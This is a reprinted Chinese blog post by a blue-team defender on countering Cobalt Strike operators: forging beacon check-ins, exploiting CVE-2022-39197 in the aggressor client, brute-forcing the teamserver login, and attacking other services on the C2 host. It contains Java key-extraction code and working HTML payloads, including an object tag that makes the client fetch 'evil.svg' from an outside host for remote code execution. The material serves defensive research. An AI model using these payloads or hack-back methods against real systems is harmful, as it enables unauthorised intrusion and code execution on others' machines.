文章由作者授权转载,首发于奇安信攻防社区
https://forum.butian.net/share/1975
陆陆续续的也学习cs一段时间了,学习的目的是为了能干点事情,结合自己的一个工作性质,(笔者是蓝队做防守的),所以想做一些能用到上的东西来,思来想去就是关于cs的反制手段了,同时前段时间沸沸扬扬的cs漏洞也是反制的点,所以有了本文,本文想详细写写关于cs的一些所谓的反制手段。将部分反制手法研究下能落地实现下。
对抗Cobaltstrike中的手段:
1、伪造流量批量上线(欺骗防御)
2、利用漏洞(CVE-2022-39197),反制攻击者,获取aggressor 端的相关信息和相关权限
3、反制server,爆破密码,获取server信息
4、旁路反制
伪造流量批量上线这个手段是属于技战法里面的欺骗防御,通过伪造上线心跳流量,发送至攻击者的c2,使攻击者的c2同时上线的大量终端:
通常有两种常见场景:
第一种是,发现攻击者对我们单位在进行精准钓鱼,那么我们可以通过这个欺骗防御,来混淆攻击者的视听,让攻击者的c2server上线大量机器,但是攻击者却执行不了任何命令。
第二种是,发现我们内部已经存在被钓鱼上线的机器,那么此时我们通过这种欺骗防御就是来拖延攻击者,使攻击者难辨真假,从而争取一些排查处置的时间。
这里我们默认大家对cs流量都有基础了解,不了解的可以先看下笔者之前写的关于cs流量的一篇文章:
这里造上线流量,其实就是造心跳流量,cs4.1默认配置的心跳流量如下图:
这里面,其实核心就是伪造cookie字段,这里的cookie字段在cs里面,我们一般叫“元数据”;
这个元数据是个被RSA公钥加密后的内容,所以我们只要能拿到加密使用的公钥和待加密的明文,我们就可以伪造出来这个”元数据“了
公钥我们先不谈,我们先来看看这里的明文一般长什么样,如下就是该明文的组成:
//标志头(4)+Size(4)+Rawkey(16)+字体(4)+beacon ID(4)+ 进程ID(4)+port(2)+内核(4)+09 +失陷IP + 09 + 主机名+ 09 + 用户名+09+进程名
这里我们拿一个例子来看,如下两图,是对一个上述的明文流量的标注:
所以这里我们直接按格式伪造上述流量就可以了,这里有一个比较细节的东西,CS 监听器是怎么来判断一个上线的唯一性的呢,换句话说这里面这么多字段,哪个才是“主键”呢,或者说哪几个一起才是主键呢,我们只要保证n个不同主键,那么就可以伪造n台失陷机器了。
笔者通过实践测试,CS的监听器判断是否是同一个心跳是通过beaconid这个属性来判断,只要这个属性不一样就会被识别成不同的上线流量,感觉cs这里的处理其实不太严谨。
好了这样我们明文流量就可以自己伪造了。
接下来是公钥,拿到公钥就可以对上面伪造的明文流量加密,从而生成cookie字段了。
公钥怎么来呢,我们来分析下:(这个公钥是在首次运行cs server的时候,当没有.cobaltstrike.beacon_keys文件的时候,随机产生的,详情参考)
1、通过一些已知的破解版本里面自带的公钥,可以逐个尝试。
2、攻击者如果是通过stager上线了,即小马拉大马的形式,通过流量设备我们可以获取到拉的beacon,对beacon进行操作,从beacon中可以直接拿到公钥,如下图:
3、攻击者通过stagerless上线,我们需要对样本进行分析,拿到里面的公钥
4、自己做研究的话,可以直接拿到自己cs server端的.cobaltstrike.beacon_keys文件,该文件是RSA密钥对的序列化文件,所以直接从这里可以提出公钥,如下图:
base64解码:
所以到目前为止,我们即有了公钥也有了明文,就可以开始实践了
笔者这里写了个批量上线的项目:
地址:https://github.com/minhangxiaohui/cobaltstrikefakeup
实践落地:
反序列化还原自己cs server端下的.cobaltstrike.beacon_keys
文件,拿到pubkey:
package ga0wei.text;import sleep.runtime.Scalar;
import javax.crypto.Cipher;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.security.KeyPair;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.util.Base64;public class Getkey {
public static void main(String[] args) throws Exception{
PrivateKey privateKey;
Cipher cipher;
//获取密钥对象
ObjectInputStream var2 = new ObjectInputStream(new FileInputStream("keys"));
Scalar var3 = (Scalar)var2.readObject();
var2.close();
KeyPair keyPair1 = (KeyPair) var3.objectValue();//初始化cipher对象,准备解密
privateKey =keyPair1.getPrivate();
cipher =Cipher.getInstance("RSA/ECB/PKCS1Padding");
cipher.init(2,privateKey);//元数据
String ciphertext = "WTbGz2y0K24UJovEX+proVDR+jInn7C/H8JwIa3+DCdm+qkSbquSRU2/n/ss8dMUHogaPFIn/N+xaAOW/gmfvu4HfVNF8Kk/XsRN35By03QWKIbhVbNGyZOBwCYGWs3f9XjUa8rqbiHbmRnRppbEpVv/+pvlVqYUh53bFQP9O7E=";
byte[] cipherbyte = Base64.getDecoder().decode(ciphertext);//解密
byte[] text = cipher.doFinal(cipherbyte);//输出文件 和控制台
try(FileOutputStream fos = new FileOutputStream(new File("Text"))) {
System.out.println("解密成功");
fos.write(text);
System.out.println(new String(text));
System.out.println("privatekey :"+new String(Base64.getEncoder().encode(keyPair1.getPrivate().getEncoded())));
System.out.println("publickey : "+new String(Base64.getEncoder().encode(keyPair1.getPublic().getEncoded())));
}
}
}
元数据流量:
元数据格式:标志头(4)+Size(4)+Rawkey(16)+字体(4)+beacon ID(4)+ 进程ID(4)+port(2)+内核(4)+0x09 +失陷IP +0x09 + 主机名+ 0x09 + 用户名+0x09+进程名
伪造元数据并定时发送(CS的心跳流量):
使用上文的cobastrikefakeup.py完成元数据的伪造并发送,实现批量为伪上线:
获取到公钥之后运行脚本效果如下:(其中-T参数是指定上线个数,-U参数是指定心跳回连域名,-P参数是公钥)
Cobastrike server:
其实cs历史上是有一些漏洞的,比如CVE-2021-36798、CVE-2022-23317之类的,但是感觉都有种,食之无味弃之可惜的意思,所以这里我们通过漏洞反制,主要来看下最近比较火的CVE-2022-39197。
CVE-2022-39197这个漏洞是北辰师傅发现的,9月底cobaltstrike的官网爆出来的,笔者本来以为就是一个xss漏洞,后来看了漂亮鼠师傅的文章之后发现的确这里可扩展的空间很大。接下来我们简单分析下该漏洞,并通过该漏洞来实现一些简单的反制:
当时这个洞刚爆出来的时候,网上一堆”复现“的截图,如下图(笔者随便找的一张):
看过笔者之前写的cs上线流量文章,或者看完上文“批量上线项目”的实现,我们看到上图其实就会知道这个漏洞的是怎么触发的,上图这里其实就是对user的值进行了伪造,使cs的aggressor端对其进行了渲染从而导致其在对应字段加载了一张图片。
我们先来看看这个xss是怎么实现的:
这里我们还是使用上述的项目,伪造发送元数据(伪造心跳流量),稍微做下改变即可:
将上面“用户名”字段内容,替换成如下的payload,并且我们还要把其他的字段内容缩短:
<html><img src=http://192.168.129.1:8081/Ga0weI.jpg>
如下是对上述cobaltstrikefakeup.py简单修改:可用看到我们缩短了主机名字段和进程名字段来为用户名字段节省空间
这里我们简单讲下为什么要缩短其他字段长度,因为元数据最终的形式是被RSA加密的,RSA是非对称“块加密”算法,其原理是基于单项陷门函数--------大整数难分解,其每次加密的明文长度都是有限制的,这个长度取决于我们在使用RSA时使用的n(也就是那个大整数),在cs中,使用的是n为1024bit,也就是我们常说的128位(这里的位指B)的RSA,所以我们构造的元数据(也就是待加密的明文)是不能超过128位的,又因为cs中使用的是PKCS1Padding的填充方式,这种填充方式占用了11个字节,所以我们真实可用使用的长度其实是128-11=117位。如果读者之前对RSA有过了解的话,其实上述为什么每次加密的明文长度有限制直接可用通过一句话解释:因为在RSA中不管是通过明文加密生成密文,还是通过解密密文生成明文,都是通过模n同余(mod(n))来计算的,所以我们的结果都要受限制于n的长度。
运行改造后的脚本:这里我们-T参数写成1就行:
-T 1 -U http://192.168.129.132/updates.rss -P MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCNUL6+gTcsl1/M1vjCOFsJY2lMm4i5HA4TPki0VH77n57ELBv5H/8pzuWSGtL9n+n+FDiUh4WF84nX6W6dd4Vs8XZEfcbQLpYM10aW0FpVdSVwGxTum9ZilrXMG9UmZOgNtbugwY4eRSxO9ILAnwxXqGbymdSC7VhgSc9E8dNMtQIDAQAB
如下图:user字段是空的,但是其实是我们放入的图片资源
如下图是我们图片资源的请求记录:
这里就形成了xss。
简单看下上面的payload:
<html><img src=http://192.168.129.1:8081/Ga0weI.jpg>
其实这里就是一个在swing中使用HTML标签的方式。
CS没有对元数据中输入的字段进行检查和过滤,从而导致了这个xss的漏洞。
这里我们看下cs的aggressor端怎么获取的user等相关字段的:
首先我们来看看cs 的server端怎么处理从受害端传来的元数据的:
如下是cs4.1中源码,在其beacon.BeaconC2类的process_beacon_metadata
方法是来处理获取到的元数据的:
跟进BeaconEntry类找到对应参数的构造方法:
如下:是获取user字段相关,这里我们注意,实例化BeaconEntry类的时候是没有对传入的字段做过滤检查校验的
我们再来看看前端对JTextField类的赋值的时候:
如下 源码中dialog.DialogManager类的beacon方法中是aggressor端前端swing操作beacon条目的方法:
下图中可用看到在为JTextField对象的时候赋值的时候也没有做检查过滤处理,直接通过BeaconEntry.getUser()方法来获取的。
所以才导致了当我们使用swing的html兼容特性的时候,触发xss漏洞,这里的xss可能有人感觉很鸡肋,但是笔者并不是这样认为,完全可用应用到反制手段中:
场景是:当我们使用该方法造成存储型的xss时,每当有一个aggressor端连接到cs的server端的时候,都会触发请求对应的资源,这样我们可用在溯源的方面得到一些线索,攻击者就暴露了自己公网地址。
那么这里是如何从xss到rce的呢,漂亮鼠师傅在其文章:
https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ
写的比较清除了,建议阅读原文。
这里笔者简单描述下这一过程,当我们通过swing里面引用html渲染的时候,如果我们引用的相应标签的时候,会通过javax.swing.text.html.HTMLEditorKit类中create方法来创建对应的元素,当我们传入的标签是一个HTML.Tag.OBJECT类型的标签的时候
会调用new ObjectView()来生成对应的元素,这里面解析object标签的时候会根据其Classid来解析,在这个过程中会通过Class.forname加载对应类然后通过newinstance获取classid传入类的实例,并且当该类继承了Component时,会调用setParameters方法,在这个方法里面一定情况下会反射调用对应类的对应参数的set方法(这里的条件是:该方法的传入参数只有一个且是String类型),并且该set方法传入的参数也是我们可控的,从而这里就出现了一个漏洞利用的可能。
所以接下来就是找利用链了,简单总结下对应类要满足的条件:
1、这个类要有一个无参构造方法(newInstance调用的是无参构造来创建实例)
2、这个类继承Component
3、这个类的某个属性的set方法,传入的参数是String类型的
4、通过这个类的set方法要能间接的拿到sink点
通过这种筛选,笔者尝试使用codeql找了找,太菜,没找到。
找了个poc:https://github.com/its-arun
这里使用的类是org.apache.batik.swing.JSVGCanvas这个类,这个类继承Component,并且存在无参构造方法,其URI属性,即setURI是利用点:
如下,测试setURI方法:可以看到这里实现了RCE
所以payload就是这样了:
<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://192.168.129.1:8081/evil.svg'></param></object>
当然这里还有一些问题,如果我们去复现的话,想通过伪造元数据来上线,从而实现rce,这样是不行的,这里的长度是超了的:
这里就只有两种思路:
1、找其他的sink点,短的payload
2、从流量测做文章,元数据不行,那我们就换一个角度
网上师傅多是通过第二种思路做的,这个漏洞的核心是swing的html兼容导致,那么其实按道理只要没有对传入的参数做检查过滤,aggressor里面的swing组件都能触发这些,所以这里我们可用利用受害端和server端的命令执行的通信流量来实现rce,命令执行的流量是通过aes加密传输的,所以这需要获取正常上线元数据中的aeskey,受害端通过aes加密将响应流量返回到cs的server,cs的server接收到对某修属性进行操作的时候,如果某些参数直接用在swing的组件内容中,那么我们就可以实现rce了,这里aes的长度就没限制了。
网上的很多师傅是借助ProcessList来实现的,对进程的name进行hook,
将beacon.exe自己的name修改成我们使用的payload。
如下是上面项目中实现hook的代码:
上图,给我看懵了笔者没用过这个frida的脚本,也不会写,这么秀的吗,这么简单的嘛,因为之前笔者拿c++去实现过伪装进程的程序,于是就先入为主,认为Process32Next获取的ProcessENTRY32结构体好像根本改不了,要从peb那边去找Processparameters,然后找imagepathname和commandline做修改,而且效果不好,在win10和win11上没有实现篡改这个进程名,可以实现对commandline的修改,而且修改peb里面的相关参数的时候,还有长度限制,超过原来长度,自动被截断了反正没达到想要的效果。最后回头一看发现自己对hook这个概念还是没有理解透彻,其实这里并没有真正的修改进程的名称,而是在kernel32.dll的导出函数Process32Next里面做了个挂钩,当有调用这个函数的地方的时候(查询进程相关信息的时候会调用这个方法,也就是cs的processlist里面的进程名的由来),这个挂钩会去检测返回的Processentry32里面的ImageFileName字段是否是beacon.exe,是的话就会替换成我们的payload,学废了学废了,如下图中标注的:
那么这种方式实现的rce,在cs反制中使用的场景是:
拿到攻击者的样本之后,找一台测试机运行对应样本,hook修改里面的进程名之类的东西,然后等攻击者上线就行了,这样就巧妙的避开了要去伪造流量的麻烦了,也不用管其c2.profile怎么配置的,直接真实上线,然后等攻击者上钩,注意这里最后被rce的机器是攻击者aggressor所在的客户端,但是这种通过命令执行流量实现的rce其危害是没有直接在元数据中伪造上线影响面广的,后者相当存储性的xss,所有登录上去的aggressor端都会受影响,所以这里最理想的rce应该是通过元数据伪造实现的rce,即换条长度短的链路。
不管是哪种思路,这里这个cve的危害程度都是非常高的,利用起来也不难,笔者之前在https://forum.butian.net/share/1934一文末尾提到的伪造流量是困难的观点也将不再成立,通过这种真实上线的确不需要伪造流量了。
从攻防的角度上看,这种反制其工效有点类似内网中的蜜罐,同样都是让攻击者进来,然后故意被攻击者打,让攻击者在进攻的过程中踩到我们的陷阱。从而获取攻击者的一些信息或权限反制。
这种方式是当我们返现一个vpn运行了cs server的时候,我们通过口令字典对server端实现爆破,从而登录server,获取攻击者的相关信息,搞破坏。
局限性比较大:
1、攻防中基本没人会直接使用自己服务器做c2,都是各种骚操作来隐藏c2,如:域前置技术、云函数转发等等,所以我们很难找到真实的c2。
2、攻防中,通常是由攻的那一方使用cs,本身都是渗透攻击方面的人,出现弱口令的几率小。
3、如果是攻防场景下,团队使用的CS ,可能登录协议是魔改过的,我们写的爆破脚本,只能爆破原版的cs。
4、貌似是cobaltstrike3.6左右之后,cs对这种爆破做了一定的防御措施,就是一个同步锁,使爆破效率低下。
这里我们简单来看下cs的server端和cs的aggressor端之间的登录验证协议:
Cobaltstrike 4.1中的Cobaltstrike aggressor 和server之间的登录协议:
首先我们在aggressor端输入了对应的cs c2的地址、端口、密码之后:
1、aggressor端和server端建立ssl连接:
如下在aggressor.dialogs.Connect
类的dialogAction方法中实现:
2、server端自启动之后,其实就是一直处于阻塞状态,监听我们指定的端口:
如下图,是在ssl.SecureServerSocket
类的acceptAndAuthenticate方法中通过ServerSocket的accept方法阻塞监听对应端口,
3、aggressor端发送构造的特殊数据到server端:
如下图,aggressor端调用了SecureSocket的authenticate方法,并传入参数,这个参数就是我们输入的密码:
在authenticate方法中构造待发送的数据:如下图,简单分析可以得到构造的数据的形式是:
48879 + 密码的长度 + 密码 + 补位(256-密码长度)个65(A)
4、server端会在authenticate方法里面将socket的client端也就是我们使用的aggressor端发送来的数据进行处理:
如下图,authenticate对接收到数据的处理:经过验证后拿到传输过来的密码
这里我们简单提一下,48879这个int,int占4个字节,所以转成16进制,就是0000BEEF,笔者发现cs里面很喜欢使用这个标记,包括在元数据首部也是这个标记,可能作者很喜欢吃牛肉?,还是说和那个web框架的测试平台beef有什么关联,没懂:
5、server端拿到通过特定协议传输过来的口令之后,会和本地口令做校验,校验通过就会发回一个特定数据:
如下图是server端的发回的数据,当口令正确回传一个int类型的51966,不正确就回传0。
到这就够了,我们就不需要继续分析下去了,虽然后面还有一堆操作,但是目前的上面几步就足够我们来判断爆破的结果的对错了。
aggressor端接收到51966就说明我们密码爆出来了,接收到0就说明密码错误。
(51966转成16进制是CAFE。。。这让笔者想到了java,记得之前上大学的时候,听老师说java的由来就是程序员通过咖啡来命名的,爪哇是一个比较有名的咖啡种类好像,不知道这里面是不是和cs的创造团队有什么关联和故事)
同时我们这里也能看到,CS官方对爆破的防御处理:
如下图,红框中的代码就是cs对爆破的防御手段,上了一个同步锁,调用sleep函数,睡眠0-1秒。所以我们爆破只能迁就其最大值,1秒钟只能爆一个值,所以爆破这个方法就比较鸡肋了(一个10万的字典在不考虑网络延迟的情况下都得跑一两天,这期间还容易被server的控制者发现,所以就很难了)
这里笔者就不做总结了,就是非常简单的一个cs自制的登录协议,所以很多团队型的server是会对其进行魔改的,自制登录协议。
这个就比较泛泛而谈了,好比渗透测试或者是rt打项目的时候,如果目标找不到利用点进去,就可以从旁站看看对吧,所以这种旁路反制亦是这样,我们发现一个c2上运行着cobaltstrike server了,然后上述的其他反制手段都行不通,这时我们就可以看看,这个c2上是不是还有其他的服务,我们对其端口进行扫描,获取相关信息,从其他服务的缺陷来实现反制,举个例子,很对rt或者攻击者在遇到weblogic、fastjson、log4j2等jndi漏洞的时候,要进行漏洞利用就得起rmi或者ldap,server,自己手动起是很麻烦的,所以网上会有很多的自动化工具,这对于攻击者来说是一个不错的选择。那么如果我们发现网上这类工具的一些rce了,就可以通过这个来反制。
前段时间参加某次演习活动的时候,通过一些手段拿到了一个c2,对c2进行扫描后发现,其相关端口搭建的服务是nps的web控制端服务,所以后续就可以通过爆破该服务来实现反制,虽然后续爆破无果,后续的话正好当时nps是爆出来了个鉴权的漏洞,通过这个漏洞我们实现反制,拿到了攻击者的一些信息,以及其掌握的相关权限。
总而言之,旁路反制的这个概念是非常广泛的,手段也是层出不朽的。在近些年的攻防的博弈中,防守方的防守体系已经逐渐体系成熟化,并且也逐渐开启了一些反制的号角,这里面蜜罐是最具有里程碑意义的。笔者认为一方攻一方守并不是所谓的攻防,攻防也者,应该是来回交战,攻中带防(攻击者要能掌握反反制手段),防中带攻(防守者要能抓住攻击者露出的马脚,进行反制),就和古代武侠比武一样。
笔者感觉其实攻防场景下的蓝队的反制手段目前都是不成体系的,不像rt一样,有自己的体系,有成熟的ATT&CK框架的以及相关的利用思路,其实不论是攻还是防,都能够结合ATT&CK形成自己的技战术(TTPS)。但是因为大多数的技术人才和研究型的人才是在为红队体系工作,当然这其中还有一些其他的因素,这样就会导致出现攻防中实力的悬殊,所以蓝队体系下的反制什么时候才能形成公认的体系和具有统战价值的TTPS呢?
笔者才疏学浅,若文中存在错误观点,欢迎斧正。
加下方wx,拉你一起进群学习
往期推荐
什么?你还不会webshell免杀?(十)
PPL攻击详解
绕过360核晶抓取密码
什么?你还不会webshell免杀?(十)
64位下使用回调函数实现监控
什么?你还不会webshell免杀?(九)
一键击溃360全家桶+核晶
域内持久化后门